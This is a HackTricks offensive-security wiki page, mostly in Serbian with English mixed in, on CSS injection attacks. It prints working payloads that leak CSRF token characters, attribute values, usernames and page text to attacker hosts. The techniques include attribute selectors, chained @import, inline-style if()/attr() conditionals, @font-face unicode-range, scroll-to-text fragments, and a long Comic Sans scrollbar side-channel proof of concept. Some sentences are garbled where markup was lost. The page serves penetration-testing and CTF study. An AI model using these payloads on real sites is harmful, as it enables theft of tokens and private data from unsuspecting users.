CSS Injection
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
CSS Injection
LESS Code Injection
LESS je popularan CSS pre-procesor koji dodaje promenljive, mixin-e, funkcije i moćnu @import direktivu. Tokom kompajliranja, LESS engine će preuzeti resurse na koje se pozivaju @import izjave i ubaciti (“inline”) njihov sadržaj u rezultujući CSS kada je uključena opcija (inline).
{{#ref}} less-code-injection.md {{/ref}}
Attribute Selector
CSS selektori su kreirani da odgovaraju vrednostima atributa name i value input elementa. Ako atribut value tog input elementa počinje određenim znakom, učitava se unapred definisani eksterni resurs:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Međutim, ovaj pristup ima ograničenje kada se radi o skrivenim input elementima (type=“hidden”) jer skriveni elementi ne učitavaju pozadine.
Zaobilaženje kod skrivenih elemenata
Da biste zaobišli ovo ograničenje, možete ciljati naredni sibling element koristeći ~ general sibling combinator. CSS pravilo se zatim primenjuje na sve sibling elemente koji slede nakon skrivenog input elementa, što će prouzrokovati učitavanje pozadinske slike:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Praktičan primer iskorišćavanja ove tehnike detaljno je prikazan u priloženom fragmentu koda. Možete ga pogledati here.
Preduslovi za CSS Injection
Za to da tehnika CSS Injection bude efikasna, moraju biti ispunjeni određeni uslovi:
- Payload Length: Vektor za CSS injection mora da podržava dovoljno duge payload-e da prime kreirane selektore.
- CSS Re-evaluation: Trebalo bi da imate mogućnost da uokvirite stranicu (frame the page), što je neophodno da biste pokrenuli ponovnu evaluaciju CSS-a sa novo generisanim payload-ima.
- External Resources: Tehnika pretpostavlja mogućnost korišćenja eksterno hostovanih slika. Ovo može biti ograničeno politikom Content Security Policy (CSP) sajta.
Blind Attribute Selector
As explained in this post, it’s possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It’s also possible to use those selectors to extract information from several block of the same type like in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Kombinovanjem ovoga sa sledećom @import tehnikom, moguće je eksfiltrirati mnogo informacija koristeći CSS injection sa blind stranica pomoću blind-css-exfiltration.
@import
Prethodna tehnika ima neke nedostatke, pogledajte zahteve. Potrebno je da možete ili poslati žrtvi više linkova, ili da možete iframe-ovati stranicu ranjivu na CSS injection.
Međutim, postoji još jedna pametna tehnika koja koristi CSS @import da poboljša kvalitet tehnike.
Ovo je prvi prikazao Pepe Vila i funkcioniše ovako:
Umesto da istu stranicu učitavamo iznova i iznova sa desetina različitih payload-ova svaki put (kao u prethodnom slučaju), mi ćemo učitati stranicu samo jednom i to samo sa importom ka napadačevom serveru (ovo je payload koji se šalje žrtvi):
@import url("//attacker.com:5001/start?");
- Import će primiti neki CSS script od attackers i browser će ga učitati.
- Prvi deo CSS skripta koji će attacker poslati je još jedan @import ka attackers server-u.
- attackers server neće još odgovoriti na ovaj zahtev, jer želimo da leak-ujemo neke chars i tek onda odgovorimo na ovaj import sa payload-om da leak-ujemo sledeće.
- Drugi i veći deo payload-a biće attribute selector leakage payload
- Ovo će poslati attackers server-u first char of the secret and the last one
- Kada attackers server primi first and last char of the secret, odgovoriće na import tražen u koraku 2.
- Odgovor će biti tačno isti kao steps 2, 3 and 4, ali ovaj put će pokušati da pronađe drugi char of the secret i zatim pretposlednji.
Napadač će pratiti taj loop dok ne uspe da leak-uje kompletno secret.
You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.
Tip
Skripta će pokušati da otkrije 2 chars svaki put (od početka i od kraja) zato što attribute selector omogućava da se rade stvari kao:
css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }
Ovo omogućava skripti da brže leak-uje secret.
Warning
Ponekad skripta ne detektuje ispravno da je pronađeni prefix + suffix već kompletan flag i nastaviće napred (u prefix) i nazad (u suffix) i u nekom trenutku će zastati.
Bez brige, samo proveri output jer tamo možeš videti flag.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
Ova primitiva omogućava exfiltration koristeći samo inline style attribute elementa, bez selektora ili eksternih stylesheet-ova. Oslanja se na CSS custom properties, funkciju attr() za čitanje atributa istog elementa, nove CSS if() uslove za grananje, i image-set() za izazivanje network request-a koji enkodira odgovarajuću vrednost.
Warning
Poređenja jednakosti u if() zahtevaju double quotes za string literale. Single quotes neće odgovarati.
- Sink: kontroliši style attribute elementa i osiguraj da je target attribute na istom elementu (attr() čita samo atributa istog elementa).
- Read: kopiraj atribut u CSS promenljivu: –val: attr(title).
- Decide: izaberi URL koristeći ugnježdene uslove koji porede promenljivu sa string kandidatima: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrate: primeni background: image-set(var(–steal)) (ili bilo koje fetching property) da nateraš request ka izabranom endpoint-u.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Radni payload (dvostruki navodnici su obavezni prilikom poređenja):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerisanje vrednosti atributa sa ugnježdenim uslovima:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Realističan demo (probing usernames):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Napomene i ograničenja:
- Radi na Chromium-based browserima u vreme istraživanja; ponašanje se može razlikovati na drugim engine-ima.
- Najpogodnije za konačne/enumerabilne prostore vrednosti (IDs, flags, short usernames). Krađa proizvoljno dugih nizova bez eksternih stylesheet-ova i dalje je izazovna.
- Svako CSS svojstvo koje dohvaća URL može se iskoristiti za pokretanje zahteva (npr., background/image-set, border-image, list-style, cursor, content).
Automatizacija: a Burp Custom Action može generisati ugnježdene inline-style payloads da brute-force-uje vrednosti atributa: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Ostali selektori
Drugi načini pristupa delovima DOM-a pomoću CSS selectors:
- .class-to-search:nth-child(2): Ovo će pretražiti drugi element sa klasom “class-to-search” u DOM-u.
- :empty selektor: Used for example in this writeup:
css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }
Error based XS-Search
Referenca: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Opšti cilj je da se koristi prilagođeni font sa kontrolisanog endpoint-a i da se osigura da se tekst (u ovom slučaju, ‘A’) prikazuje tim fontom samo ako navedeni resurs (favicon.ico) ne može da se učita.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Korišćenje prilagođenog fonta:
- Prilagođeni font je definisan korišćenjem pravila @font-face unutar
- Font se zove poc i preuzima se sa eksternog endpointa (http://attacker.com/?leak).
- Svojstvo unicode-range je postavljeno na U+0041, ciljajući specifičan Unicode karakter ‘A’.
- :
- U sekciji je kreiran
- Za ovaj element, font-family je postavljen na ‘poc’, kao što je definisano u
- Ako se resurs (favicon.ico) ne učita, prikazuje se fallback sadržaj (slovo ‘A’) unutar
- Fallback sadržaj (‘A’) će biti renderovan koristeći prilagođeni font poc ako eksterni resurs ne može da se učita.
Stilizovanje Scroll-to-Text fragmenta
:target pseudo-klasa se koristi za selektovanje elementa na koji je ciljan URL fragment, kako je navedeno u CSS Selectors Level 4 specification. Važno je razumeti da ::target-text ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.
Bezbednosni problem nastaje kada napadači iskoriste Scroll-to-text fragment feature, omogućavajući im da potvrde prisustvo specifičnog teksta na web stranici učitavanjem resursa sa svog servera putem HTML injection. Metoda uključuje injektovanje CSS pravila kao ovo:
:target::before {
content: url(target.png);
}
U takvim scenarijima, ako je tekst “Administrator” prisutan na stranici, resurs target.png se zahteva sa servera, što ukazuje na prisustvo tog teksta. Primer ovog napada može se izvesti putem posebno konstruisanog URL-a koji u sebi sadrži injektovani CSS zajedno sa Scroll-to-text fragmentom:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Ovde napad manipuliše HTML injection-om da prenese CSS kod, ciljajući na specifičan tekst “Administrator” kroz Scroll-to-text fragment (#:~:text=Administrator). Ako se tekst pronađe, naznačeni resurs se učitava, nenamerno signalizirajući njegovu prisutnost napadaču.
Za ublažavanje, treba napomenuti sledeće:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) je dizajniran da poklapa samo reči ili rečenice, čime se ograničava njegova sposobnost da leak-uje proizvoljne tajne ili tokene.
- Restriction to Top-level Browsing Contexts: STTF radi isključivo u top-level browsing contexts i ne funkcioniše unutar iframes, zbog čega svaki pokušaj eksploatacije više upada u oči korisniku.
- Necessity of User Activation: STTF zahteva user-activation gest da funkcioniše, što znači da su eksploatacije moguće samo kroz navigacije inicirane od strane korisnika. Ovaj zahtev značajno mitigira rizik da se napadi automatizuju bez interakcije korisnika. Ipak, autor blog posta ističe specifične uslove i bypass-e (npr. social engineering, interakcija sa raširenim browser extensions) koji mogu olakšati automatizaciju napada.
Svest o ovim mehanizmima i potencijalnim ranjivostima ključna je za održavanje web bezbednosti i zaštitu od takvih eksploatativnih taktika.
Za više informacija pogledajte originalni izveštaj: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Možete proveriti jedan exploit using this technique for a CTF here.
@font-face / unicode-range
Možete specificirati external fonts for specific unicode values koji će biti preuzeti samo ako te unicode vrednosti postoje na stranici. Na primer:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Tehnika opisuje izvlačenje teksta iz node-a koristeći font ligatures i praćenje promena širine. Proces uključuje nekoliko koraka:
- Creation of Custom Fonts:
- SVG fonts su kreirani sa glyphs koji imaju horiz-adv-x atribut, koji postavlja veliku širinu za glyph koji predstavlja dvokrak sekvencu karaktera.
- Primer SVG glyph:
, gde “XY” označava dvocarakternu sekvencu. - Ovi fontovi se zatim konvertuju u woff format koristeći fontforge.
- Detection of Width Changes:
- CSS se koristi da se osigura da se tekst ne prelama (white-space: nowrap) i da se prilagodi stil scrollbar-a.
- Pojava horizontalnog scrollbar-a, stilizovanog na specifičan način, funkcioniše kao indikator (oracle) da je određena ligatura, i samim tim određena sekvenca karaktera, prisutna u tekstu.
- The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Exploit Process:
- Step 1: Fonts su kreirani za parove karaktera sa značajnom širinom.
- Step 2: Koristi se trik zasnovan na scrollbar-u da se detektuje kada je veliki glyph (ligature za par karaktera) renderovan, što ukazuje na prisustvo te sekvence karaktera.
- Step 3: Nakon detekcije ligature, generišu se novi glyph-ovi koji predstavljaju trokarakternе sekvence, uključujući detektovani par i dodajući prethodni ili sledeći karakter.
- Step 4: Sprovodi se detekcija trokarakternе ligature.
- Step 5: Proces se ponavlja, postepeno otkrivajući ceo tekst.
- Optimization:
- Trenutni način inicijalizacije korišćenjem <meta refresh=… je neoptimalan.
- Efikasniji pristup bi mogao da uključi CSS @import trik, što bi poboljšalo performanse exploita.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
Ovaj trik je objavljen u ovom Slackers thread. Charset koji se koristi u text node-u može biti leaked koristeći default fontove instalirane u browseru: nisu potrebni eksterni ili custom fontovi.
Koncept se zasniva na korišćenju animacije koja postepeno povećava širinu diva, omogućavajući da se po jedan karakter u isto vreme prebaci iz ‘suffix’ dela teksta u ‘prefix’ deo. Ovaj proces efektivno deli tekst na dva dela:
- Prefix: Početni red.
- Suffix: Sledеći red(ovi).
Faze tranzicije karaktera bi izgledale ovako:
C
ADB
CA
DB
CAD
B
CADB
Tokom ove tranzicije koristi se unicode-range trick da bi se identifikovao svaki novi karakter kako se priključuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je vidno viši od default fonta, što izaziva pojavu vertikalnog scrollbar-a. Pojava tog scrollbar-a indirektno otkriva prisustvo novog karaktera u prefiksu.
Iako ova metoda omogućava detekciju jedinstvenih karaktera kako se pojavljuju, ne određuje koji karakter se ponavlja — samo da je došlo do ponavljanja.
Tip
U suštini, unicode-range se koristi da detektuje char, ali pošto ne želimo da učitavamo eksterni font, treba nam drugi način.
Kada je char pronađen, dodeljuje mu se preinstalirani Comic Sans font, koji taj char čini većim i izaziva scroll bar koji će leak the found char.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset koristeći podrazumevani font i skrivanjem elemenata (ne zahteva spoljne resurse)
Referenca: Ovo je pomenuto kao neuspešno rešenje u ovom writeupu
Ovaj slučaj je veoma sličan prethodnom, međutim, ovde je cilj da određeni karakteri budu veći od drugih kako bi se nešto sakrilo — na primer dugme koje bot ne treba da pritisne ili slika koja se neće učitati. Na taj način možemo izmeriti radnju (ili izostanak radnje) i saznati da li se određeni karakter nalazi u tekstu.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Referenca: Ovo je pomenuto kao neuspešno rešenje u ovom writeupu
U ovom slučaju mogli bismo pokušati leak da li se neki karakter nalazi u tekstu učitavanjem lažnog fonta iz istog porekla:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Ako postoji poklapanje, font će biti učitan sa /static/bootstrap.min.css?q=1. Iako neće biti uspešno učitan, pregledač bi trebalo da ga kešira, i čak ako nema keša, postoji mehanizam 304 not modified, tako da bi odgovor trebao biti brži nego druge stvari.
Međutim, ako vremenska razlika između keširanog odgovora i onog bez keša nije dovoljna, ovo neće biti korisno. Na primer, autor je pomenuo: “Međutim, nakon testiranja, otkrio sam da je prvi problem što brzina nije mnogo različita, a drugi problem je što bot koristi zastavicu disk-cache-size=1, što je zaista promišljeno.”
Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)
Referenca: Ovo je pomenuto kao an unsuccessful solution in this writeup
U ovom slučaju možete naznačiti CSS koji učitava stotine lažnih fontova iz istog porekla kada dođe do poklapanja. Na ovaj način možete izmeriti vreme koje je potrebno i saznati da li se neki karakter pojavljuje ili ne uz nešto poput:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
A kod bota izgleda ovako:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Dakle, ako font ne odgovara, očekivano vreme odziva pri poseti botu je približno 30 sekundi. Međutim, ako postoji podudaranje fonta, biće poslato više zahteva za preuzimanje fonta, što će izazvati stalnu aktivnost mreže. Kao rezultat, biće potrebno više vremena da se ispuni uslov za zaustavljanje i dobije odgovor. Stoga se vreme odziva može koristiti kao indikator za utvrđivanje da li postoji podudaranje fonta.
Reference
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

